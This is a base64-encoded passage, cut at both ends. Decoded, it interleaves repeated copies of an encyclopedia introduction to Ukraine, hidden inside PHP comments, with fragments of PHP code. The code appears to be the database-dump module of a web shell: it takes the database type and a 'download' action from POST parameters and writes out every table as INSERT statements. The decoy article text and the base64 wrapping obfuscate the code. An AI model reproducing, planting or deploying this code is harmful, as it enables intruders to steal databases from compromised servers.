pbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQkJCQkJCSRpdGVtWyRrXSA9ICInIi5AbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCR2KS4iJyI7CgkJCQkJCQkkY29sdW1uc1tdID0gImAiLiRrLiJgIjsKCQkJCQkJfQoJCQkJCWVjaG8gJ0lOU0VSVCBJTlRPIGAnLiR0YWJsZS4nYCAoJy5pbXBsb2RlKCIsICIsICRjb2x1bW5zKS4nKSBWQUxVRVMgKCcuaW1wbG9kZSgiLCAiLCAkaXRlbSkuJyk7Jy4iXG4iOwoJCQkJCX0KCQkJCWJyZWFrOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQkJCWNhc2UgJ3Bnc3FsJzoKCQkJCQkkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gJy4kdGFibGUpOwoJCQkJCXdoaWxlKCRpdGVtID0gJHRoaXMtPmZldGNoKCkpIHsKCQkJCQkJJGNvbHVtbnMgPSBhcnJheSgpOwoJCQkJCQlmb3JlYWNoKCRpdGVtIGFzICRrPT4kdikgewoJCQkJCQkJJGl0ZW1bJGtdID0gIiciLmFkZHNsYXNoZXMoJHYpLiInIjsKCQkJCQkJCSRjb2x1bW5zW10gPSAkazsKCQkJCQkJfQoJCQkJCWVjaG8gJ0lOU0VSVCBJTlRPICcuJHRhYmxlLicgKCcuaW1wbG9kZSgiLCAiLCAkY29sdW1ucykuJykgVkFMVUVTICgnLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpOycuIlxuIjsKCQkJCQl9CgkJCQlicmVhazsKCQkJfQoJCQlyZXR1cm4gZmFsc2U7Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJCX0KCX07CgkkZGIgPSBuZXcgRGJDbGFzcygkX1BPU1RbJ3R5cGUnXSk7CglpZihAJF9QT1NUWydwMiddPT0nZG93bmxvYWQnKSB7Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNz